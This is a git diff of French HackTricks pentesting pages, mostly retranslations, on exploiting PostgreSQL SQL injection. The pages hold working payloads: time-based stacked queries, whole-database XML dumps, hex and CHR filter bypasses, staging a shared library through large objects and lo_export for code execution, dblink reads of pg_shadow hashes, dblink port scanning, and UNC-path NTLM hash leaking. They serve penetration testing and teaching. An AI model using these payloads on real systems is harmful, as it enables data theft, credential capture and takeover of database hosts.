-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
\ -**Astuce pour les chasses aux bugs** : **inscrivez-vous** sur **Intigriti**, une plateforme premium de chasse aux bugs créée par des hackers, pour des hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** ! +**Conseil de prime de bug** : **inscrivez-vous** sur **Intigriti**, une plateforme de prime de bug premium créée par des pirates informatiques, pour des pirates informatiques ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** ! {% embed url="https://go.intigriti.com/hacktricks" %} *** -**Cette page vise à expliquer différents astuces qui pourraient vous aider à exploiter une injection SQL trouvée dans une base de données postgresql et à compléter les astuces que vous pouvez trouver sur** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) +**Cette page vise à expliquer différentes astuces qui pourraient vous aider à exploiter une injection SQL trouvée dans une base de données PostgreSQL et à compléter les astuces que vous pouvez trouver sur** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) -## Interaction réseau - Élévation de privilèges, Scanner de ports, divulgation de réponse au défi NTLM & Exfiltration +## Interaction réseau - Élévation de privilèges, Scanner de ports, divulgation de la réponse au défi NTLM et Exfiltration -**`dblink`** est un **module PostgreSQL** qui offre plusieurs options intéressantes du point de vue de l'attaquant. Il peut être utilisé pour **se connecter à d'autres instances PostgreSQL** ou effectuer des **connexions TCP**.\ -**Ces fonctionnalités** ainsi que la fonctionnalité **`COPY FROM`** peuvent être utilisées pour **élever les privilèges**, effectuer des **scans de ports** ou récupérer des **réponses au défi NTLM**.\ -[**Vous pouvez lire ici comment réaliser ces attaques.**](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md) +Le module **PostgreSQL `dblink`** offre des capacités pour se connecter à d'autres instances PostgreSQL et exécuter des connexions TCP. Ces fonctionnalités, combinées à la fonctionnalité `COPY FROM`, permettent des actions telles que l'élévation de privilèges, le balayage de ports et la capture de la réponse au défi NTLM. Pour des méthodes détaillées sur l'exécution de ces attaques, consultez comment [effectuer ces attaques](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md). -### **Exemple d'exfiltration utilisant dblink et des objets volumineux** +### **Exemple d'exfiltration utilisant dblink et les grands objets** -Vous pouvez [**lire cet exemple**](dblink-lo_import-data-exfiltration.md) pour voir un exemple de CTF de **comment charger des données à l'intérieur d'objets volumineux puis exfiltrer le contenu des objets volumineux à l'intérieur du nom d'utilisateur** de la fonction `dblink_connect`. +Vous pouvez [**lire cet exemple**](dblink-lo\_import-data-exfiltration.md) pour voir un exemple de CTF de **comment charger des données à l'intérieur de grands objets et ensuite exfiltrer le contenu des grands objets à l'intérieur du nom d'utilisateur** de la fonction `dblink_connect`. -## Attaques PostgreSQL : Lecture/écriture, RCE, privesc +## Attaques PostgreSQL : Lecture/écriture, RCE, élévation de privilèges -Vérifiez comment compromettre l'hôte et élever les privilèges à partir de PostgreSQL dans : +Consultez comment compromettre l'hôte et escalader les privilèges à partir de PostgreSQL dans : {% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} [pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md) @@ -43,14 +41,14 @@ Vérifiez comment compromettre l'hôte et élever les privilèges à partir de P ## Contournement de WAF -### Fonctions de chaînes de caractères PostgreSQL +### Fonctions de chaînes PostgreSQL -Manipuler des chaînes de caractères pourrait vous aider à **contourner des WAFs ou d'autres restrictions**.\ -[**Sur cette page**](https://www.postgresqltutorial.com/postgresql-string-functions/) **vous pouvez trouver des fonctions de chaînes de caractères utiles.** +La manipulation de chaînes pourrait vous aider à **contourner les WAF ou d'autres restrictions**.\ +[**Sur cette page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**vous pouvez trouver quelques fonctions de chaînes utiles.** ### Requêtes empilées -Rappelez-vous que postgresql supporte les requêtes empilées, mais plusieurs applications généreront une erreur si 2 réponses sont retournées alors qu'une seule est attendue. Cependant, vous pouvez toujours abuser des requêtes empilées via l'injection temporelle : +Rappelez-vous que PostgreSQL prend en charge les requêtes empilées, mais plusieurs applications renverront une erreur si 2 réponses sont renvoyées alors qu'une seule est attendue. Cependant, vous pouvez toujours abuser des requêtes empilées via l'injection de temps : ``` id=1; select pg_sleep(10);-- - 1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- - @@ -59,19 +57,19 @@ id=1; select pg_sleep(10);-- - **query\_to\_xml** -Cette fonction retournera toutes les données au format XML dans un seul fichier. C'est idéal si vous souhaitez extraire beaucoup de données en une seule ligne : +Cette fonction renverra toutes les données au format XML dans un seul fichier. C'est idéal si vous souhaitez extraire beaucoup de données en une seule ligne : ```sql SELECT query_to_xml('select * from pg_user',true,true,''); ``` **database\_to\_xml** -Cette fonction va exporter l'intégralité de la base de données au format XML en une seule ligne (faites attention si la base de données est très volumineuse car vous pourriez provoquer un DoS sur celle-ci ou même sur votre propre client) : +Cette fonction va extraire l'intégralité de la base de données au format XML en une seule ligne (soyez prudent si la base de données est très volumineuse car vous pourriez la mettre en panne ou même votre propre client) : ```sql SELECT database_to_xml(true,true,''); ``` -### Chaînes en Hexadécimal +### Chaînes en hexadécimal -Si vous pouvez exécuter des **requêtes** en les passant **à l'intérieur d'une chaîne** (par exemple en utilisant la fonction **`query_to_xml`**). **Vous pouvez utiliser convert\_from pour passer la chaîne en hexadécimal et contourner les filtres de cette manière :** +Si vous pouvez exécuter des **requêtes** en les passant **à l'intérieur d'une chaîne** (par exemple en utilisant la fonction **`query_to_xml`**). **Vous pouvez utiliser la fonction convert\_from pour passer la chaîne en hexadécimal et contourner les filtres de cette manière :** {% code overflow="wrap" %} ```sql @@ -85,9 +83,9 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio ``` {% endcode %} -### Citations interdites +### Guillemets interdits -Si vous ne pouvez pas utiliser de guillemets pour votre charge utile, vous pouvez contourner cela avec `CHR` pour les clauses de base (_la concaténation de caractères fonctionne uniquement pour les requêtes de base telles que SELECT, INSERT, DELETE, etc. Elle ne fonctionne pas pour toutes les instructions SQL_) : +Si vous ne pouvez pas utiliser de guillemets pour votre charge utile, vous pouvez contourner cela avec `CHR` pour les clauses de base (_la concaténation de caractères ne fonctionne que pour les requêtes de base telles que SELECT, INSERT, DELETE, etc. Cela ne fonctionne pas pour toutes les instructions SQL_): ``` SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69); ``` @@ -97,23 +95,21 @@ SELECT 'hacktricks'; SELECT $$hacktricks$$; SELECT $TAG$hacktricks$TAG$; ``` -```markdown - -**Conseil pour les chasseurs de bugs** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** ! +\ +**Conseil de prime de bug**: **Inscrivez-vous** sur **Intigriti**, une plateforme premium de **prime de bug créée par des hackers, pour des hackers**! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**! {% embed url="https://go.intigriti.com/hacktricks" %}
-Apprenez le piratage AWS du débutant à l'expert avec htARTE (HackTricks AWS Red Team Expert) ! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
-``` diff --git a/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md b/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md index 672eda258..de392a2c5 100644 --- a/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md +++ b/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md @@ -1,100 +1,89 @@ -```bash -split -b 2048 your_binary -``` +
-Pour **sauvegarder un fichier complet dans cette table**, vous devez d'abord **créer un objet** dans la table mentionnée (identifié par un **LOID**) puis **insérer des morceaux de 2 Ko** dans cet objet. Il est très important que tous les **morceaux fassent 2 Ko** (sauf peut-être le dernier) **ou** la fonction d'**exportation** vers le système de fichiers **ne fonctionnera pas**. +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Pour **diviser** votre **binaire** en **morceaux** de **2 Ko**, vous pouvez faire : -```bash -split -b 2048 pg_exec.so #This will create files of size 2KB -``` -Afin de coder chacun des fichiers créés en Base64 ou Hex, vous pouvez utiliser : -```bash -base64 -w 0 #Encoded in 1 line -xxd -ps -c 99999999999 #Encoded in 1 line -``` -{% hint style="info" %} -Lors de l'exploitation, n'oubliez pas que vous devez envoyer des **morceaux de 2 Ko de bytes en clair** (et non 2 Ko de bytes encodés en base64 ou hexadécimal). Si vous tentez d'automatiser cela, la taille d'un fichier **encodé en hexadécimal** est le **double** (vous devez donc envoyer 4 Ko de données encodées pour chaque morceau) et la taille d'un fichier encodé en **base64** est `ceil(n / 3) * 4` -{% endhint %} +Autres façons de soutenir HackTricks : -De plus, en déboguant le processus, vous pouvez voir le contenu des grands objets créés avec : +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. + +
+ +### Objets volumineux PostgreSQL + +PostgreSQL propose une structure appelée **objets volumineux**, accessible via la table `pg_largeobject`, conçue pour stocker des types de données volumineux, tels que des images ou des documents PDF. Cette approche est avantageuse par rapport à la fonction `COPY TO` car elle permet l'**exportation des données vers le système de fichiers**, garantissant une réplique exacte du fichier d'origine. + +Pour **stocker un fichier complet** dans cette table, un objet doit être créé dans la table `pg_largeobject` (identifié par un LOID), suivi de l'insertion de morceaux de données, chacun de 2 Ko, dans cet objet. Il est crucial que ces morceaux fassent exactement 2 Ko (à l'exception éventuelle du dernier morceau) pour garantir le bon fonctionnement de la fonction d'exportation. + +Pour **diviser vos données binaires** en morceaux de 2 Ko, les commandes suivantes peuvent être exécutées : +```bash +split -b 2048 your_file # Creates 2KB sized files +``` +Pour encoder chaque fichier en Base64 ou en Hex, les commandes ci-dessous peuvent être utilisées : +```bash +base64 -w 0 # Encodes in Base64 in one line +xxd -ps -c 99999999999 # Encodes in Hex in one line +``` +**Important** : Lors de l'automatisation de ce processus, assurez-vous d'envoyer des morceaux de 2 Ko d'octets en texte clair. Les fichiers encodés en hexadécimal nécessiteront 4 Ko de données par morceau en raison du doublement de la taille, tandis que les fichiers encodés en Base64 suivent la formule `ceil(n / 3) * 4`. + +Le contenu des grands objets peut être consulté à des fins de débogage en utilisant : ```sql select loid, pageno, encode(data, 'escape') from pg_largeobject; ``` -# Utilisation de lo\_creat & Base64 +#### Utilisation de `lo_creat` & Base64 -Tout d'abord, nous devons créer un LOID où les données binaires vont être sauvegardées : +Pour stocker des données binaires, un LOID est d'abord créé : ```sql -SELECT lo_creat(-1); -- returns OID of new, empty large object -SELECT lo_create(173454); -- attempts to create large object with OID 43213 +SELECT lo_creat(-1); -- Creates a new, empty large object +SELECT lo_create(173454); -- Attempts to create a large object with a specific OID ``` -Si vous exploitez une **Blind SQLinjection**, vous serez probablement plus intéressé par l'utilisation de `lo_create` avec un **LOID fixe** afin de **savoir où** vous devez **téléverser** le **contenu**.\ -Notez également qu'il n'y a pas d'erreur de syntaxe, les fonctions sont `lo_creat` et `lo_create`. +Dans les situations nécessitant un contrôle précis, comme l'exploitation d'une Injection SQL Aveugle, `lo_create` est préféré pour spécifier un LOID fixe. -Le LOID est utilisé pour identifier l'objet dans la table `pg_largeobject`. L'insertion de blocs de 2 Ko dans la table `pg_largeobject` peut être réalisée en utilisant : +Les morceaux de données peuvent ensuite être insérés comme suit: ```sql -INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 0, decode('', 'base64')); -INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 1, decode('', 'base64')); -INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 3, decode('', 'base64')); -``` -```markdown -Enfin, vous pouvez exporter le fichier vers le système de fichiers en faisant (pendant cet exemple, le LOID utilisé était `173454`): -``` -```sql -SELECT lo_export(173454, '/tmp/pg_exec.so'); -``` -{% hint style="info" %} -Notez que dans les versions les plus récentes de postgres, vous devrez peut-être **télécharger les extensions sans indiquer de chemin du tout**. [**Lisez ceci pour plus d'informations**.](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions) -{% endhint %} +INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('', 'base64')); +INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('', 'base64')); -Il se peut que vous souhaitiez supprimer le grand objet créé après l'avoir exporté : -```sql -SELECT lo_unlink(173454); -- deletes large object with OID 173454 ``` -# Utilisation de lo\_import & Hex +Pour exporter et potentiellement supprimer l'objet volumineux après utilisation : +```sql +SELECT lo_export(173454, '/tmp/your_file'); +SELECT lo_unlink(173454); -- Deletes the specified large object +``` +#### Utilisation de `lo_import` & Hex -Dans ce scénario, lo\_import va être utilisé pour créer un grand objet. Heureusement, dans ce cas, vous pouvez (et ne pouvez pas) spécifier le LOID que vous souhaiteriez utiliser : +La fonction `lo_import` peut être utilisée pour créer et spécifier un LOID pour un grand objet : ```sql -select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts'); -select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts', 173454); +select lo_import('/path/to/file'); +select lo_import('/path/to/file', 173454); ``` -Après avoir créé l'objet, vous pouvez commencer à insérer les données sur chaque page (souvenez-vous, vous devez insérer des blocs de 2 Ko) : +Après la création de l'objet, les données sont insérées par page, en veillant à ce que chaque morceau ne dépasse pas 2 Ko : ```sql update pg_largeobject set data=decode('', 'hex') where loid=173454 and pageno=0; update pg_largeobject set data=decode('', 'hex') where loid=173454 and pageno=1; -update pg_largeobject set data=decode('', 'hex') where loid=173454 and pageno=2; -update pg_largeobject set data=decode('', 'hex') where loid=173454 and pageno=3; ``` -Le HEX doit être juste le hex (sans `0x` ou `\x`), exemple : +Pour compléter le processus, les données sont exportées et le grand objet est supprimé : ```sql -update pg_largeobject set data=decode('68656c6c6f', 'hex') where loid=173454 and pageno=0; +select lo_export(173454, '/path/to/your_file'); +select lo_unlink(173454); -- Deletes the specified large object ``` -Finalement, exportez les données dans un fichier et supprimez l'objet volumineux : -```sql -select lo_export(173454, 'C:\\path\to\pg_extension.dll'); -select lo_unlink(173454); -- deletes large object with OID 173454 -``` -{% hint style="info" %} -Notez que dans les versions les plus récentes de postgres, vous pourriez avoir besoin de **télécharger les extensions sans indiquer de chemin** du tout. [**Lisez ceci pour plus d'informations**.](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions) -{% endhint %} - -# Limitations - -Après avoir lu la documentation sur les grands objets dans PostgreSQL, nous pouvons découvrir que **les grands objets peuvent avoir une ACL** (Liste de Contrôle d'Accès). Il est possible de configurer **de nouveaux grands objets** de sorte que votre utilisateur **n'ait pas suffisamment de privilèges** pour les lire, même s'ils ont été créés par votre utilisateur. - -Cependant, il peut y avoir **un ancien objet avec une ACL qui permet à l'utilisateur actuel de le lire**, alors nous pouvons exfiltrer le contenu de cet objet. +### Limitations +Il est noté que **les grands objets peuvent avoir des ACL** (Listes de Contrôle d'Accès), restreignant potentiellement l'accès même aux objets créés par votre utilisateur. Cependant, les anciens objets avec des ACL permissives peuvent toujours être accessibles pour l'exfiltration de contenu.
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
diff --git a/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md b/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md index 9bc24662a..00f111378 100644 --- a/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md +++ b/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md @@ -1,41 +1,43 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-Depuis **PostgreSQL 9.1**, l'installation de modules supplémentaires est simple. [Les extensions enregistrées comme `dblink`](https://www.postgresql.org/docs/current/contrib.html) peuvent être installées avec [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html) : +**Trouvez [plus d'informations sur ces attaques dans le document original](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**. + +Depuis **PostgreSQL 9.1**, l'installation de modules supplémentaires est simple. [Les extensions enregistrées comme `dblink`](https://www.postgresql.org/docs/current/contrib.html) peuvent être installées avec [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html): ```sql CREATE EXTENSION dblink; ``` -Une fois que vous avez chargé dblink, vous pourriez être capable de réaliser quelques astuces intéressantes : +Une fois que vous avez chargé dblink, vous pourriez être en mesure d'effectuer quelques astuces intéressantes : -## Élévation de Privilèges +## Élévation de privilèges -Le fichier `pg_hba.conf` pourrait être mal configuré **permettant des connexions** depuis **localhost en tant que n'importe quel utilisateur** sans avoir besoin de connaître le mot de passe. Ce fichier se trouve typiquement dans `/etc/postgresql/12/main/pg_hba.conf` et une mauvaise configuration ressemble à : +Le fichier `pg_hba.conf` pourrait être mal configuré, **autorisant les connexions** depuis **localhost en tant que n'importe quel utilisateur** sans avoir besoin de connaître le mot de passe. Ce fichier est généralement situé dans `/etc/postgresql/12/main/pg_hba.conf` et une mauvaise configuration ressemble à : ``` local all all trust ``` -_Notez que cette configuration est couramment utilisée pour modifier le mot de passe d'un utilisateur de la base de données lorsque l'administrateur l'oublie, donc parfois vous pouvez la trouver._\ +_Notez que cette configuration est couramment utilisée pour modifier le mot de passe d'un utilisateur de base de données lorsque l'administrateur l'oublie, donc parfois vous pouvez la trouver._\ _Notez également que le fichier pg\_hba.conf est lisible uniquement par l'utilisateur et le groupe postgres et modifiable uniquement par l'utilisateur postgres._ -Ce cas est **utile si** vous avez **déjà** un **shell** sur la victime car cela vous permettra de vous connecter à la base de données postgresql. +Ce cas est **utile si** vous avez **déjà** un **shell** à l'intérieur de la victime car cela vous permettra de vous connecter à la base de données postgresql. Une autre mauvaise configuration possible consiste en quelque chose comme ceci : ``` host all all 127.0.0.1/32 trust ``` -Comme cela permettra à tout le monde depuis le localhost de se connecter à la base de données en tant que n'importe quel utilisateur.\ -Dans ce cas et si la fonction **`dblink`** est **opérationnelle**, vous pourriez **élever vos privilèges** en vous connectant à la base de données via une connexion déjà établie et accéder à des données auxquelles vous ne devriez normalement pas avoir accès : +Comme cela permettra à tout le monde depuis l'hôte local de se connecter à la base de données en tant qu'utilisateur.\ +Dans ce cas et si la fonction **`dblink`** fonctionne, vous pourriez **escalader les privilèges** en vous connectant à la base de données via une connexion déjà établie et accéder à des données auxquelles vous ne devriez pas pouvoir accéder: ```sql SELECT * FROM dblink('host=127.0.0.1 user=postgres @@ -49,11 +51,9 @@ dbname=postgres', 'select usename, passwd from pg_shadow') RETURNS (result1 TEXT, result2 TEXT); ``` -**Trouvez** [**plus d'informations sur cette attaque dans ce document**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**.** +## Balayage de ports -## Balayage de Ports - -En abusant de `dblink_connect`, vous pourriez également **rechercher des ports ouverts**. Si cette **fonction ne fonctionne pas, vous devriez essayer d'utiliser `dblink_connect_u()`** car la documentation indique que _`dblink_connect_u()` est identique à `dblink_connect()`, sauf qu'elle permettra aux non-superutilisateurs de se connecter en utilisant n'importe quelle méthode d'authentification_. +En abusant de `dblink_connect`, vous pourriez également **rechercher des ports ouverts**. Si cette **fonction ne fonctionne pas, vous devriez essayer d'utiliser `dblink_connect_u()` car la documentation indique que `dblink_connect_u()` est identique à `dblink_connect()`, sauf qu'elle permet aux non-superutilisateurs de se connecter en utilisant n'importe quelle méthode d'authentification_. ```sql SELECT * FROM dblink_connect('host=216.58.212.238 port=443 @@ -84,7 +84,7 @@ Notez que **avant** de pouvoir utiliser `dblink_connect` ou `dblink_connect_u`, ``` CREATE extension dblink; ``` -## Chemin UNC - divulgation de hash NTLM +## Chemin UNC - Divulgation du hachage NTLM ```sql -- can be used to leak hashes to Responder/equivalent CREATE TABLE test(); @@ -107,14 +107,14 @@ SELECT testfunc(); ```
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +D'autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & 